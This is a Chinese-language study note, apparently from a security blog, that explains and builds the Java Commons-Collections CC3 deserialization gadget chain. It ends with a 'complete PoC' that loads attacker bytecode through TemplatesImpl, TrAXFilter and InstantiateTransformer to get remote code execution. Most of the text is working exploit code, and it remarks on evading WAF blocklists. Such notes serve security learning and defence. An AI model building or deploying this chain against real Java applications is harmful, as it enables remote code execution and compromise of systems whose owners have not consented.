java cc3链
cc3用的是动态加载字节码的形式进行的rce可以参考自己记得动态加载字节码的笔记来了解。
该链主要是利用了TemplatesImpl这个类进行字节码加载。通过笔记我们了解到java加载.class的核心代码就是defineclass方法,而通过调试发现TemplatesImpl这个类中定义了一个内部类重写了defineclass方法并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。
但是我们需要找到一个该类一个public类型来进行调用该方法
我们反向跟踪在defineTransletClasses中调用了该方法,需要_bytecodes不为空,其实这个属性就是我们要传入的字节码但是还不能调用需要继续跟

找到了getTransletInstance方法并且其属性_name不能为空 _class需要为空才可以调用,但是还是不能在外部调用需要继续跟

最终找到了newTransformer方法是public类型的,所以我们可以通过实例化TemplatesImpl对象调用newTransformer方法来触发defineclass加载字节码。
接下来我们需要看一下TemplatesImpl构造方法

发现并没用进行任何赋值所以我们需要自己手动进行反射赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class")); TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{shellcode});
templates.newTransformer();
|
运行发现空指针错误,通过调试发现

_tfactory为空所以我们需要给其传入值,

通过查看发现其是transient类型是不可序列化的,所以我们通过产看readObject中看看是给其赋值的什么就给他赋值什么就可以

所以重新构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| bbyte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class")); TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{shellcode});
templates.newTransformer();
|
但是运行之后发现还是报错

原因是在加载字节码之后有一个方法查看字节码的父类是否是
所以我们需要让我们的恶意类继承该类之后就可以运行了。
然后我们和之前的cc1链前面结合一下就可以成为一个链了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class")); TemplatesImpl templates = new TemplatesImpl(); Class clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{shellcode});
Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); map.put("className","aass");
Map<Object, Object> transformedMap = TransformedMap.decorate( map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(FaultAction.class, transformedMap); unserialize("ser.bin");
|
但是我们通过查看ysoserial作者发现其构造的链跟我们不一样,他没有用这个InvokerTransformer去触发,原因就是因为可能有些waf会对InvokerTransformer做了黑名单限制导致不能够使用了。
所以ysoserial作者发现了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。 这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步:

但是呢由于该类是不可以被序列化的,所以我们只能通过对其反射获取class对象对其进行赋值,这里作者ysoserial找到一个InstantiateTransformer类他实现了transformer Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

所以这里我们可以通过调用InstantiateTransformer的transform方法来触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class")); TemplatesImpl templates = new TemplatesImpl(); Class clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{shellcode}); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class")); TemplatesImpl templates = new TemplatesImpl(); Class clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_name"); Field classField = clazz.getDeclaredField("_tfactory"); classField.setAccessible(true); classField.set(templates, new TransformerFactoryImpl()); Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{shellcode});
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class [] {Templates.class},new Object [] {templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>(); map.put("className","aass");
Map<Object, Object> transformedMap = TransformedMap.decorate( map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(FaultAction.class, transformedMap); unserialize("ser.bin"); }
|
参考:Java安全漫谈 - 14.为什么需要CommonsCollections3.pdf
https://blog.csdn.net/weixin_54648419/article/details/123376523
cc3调用链
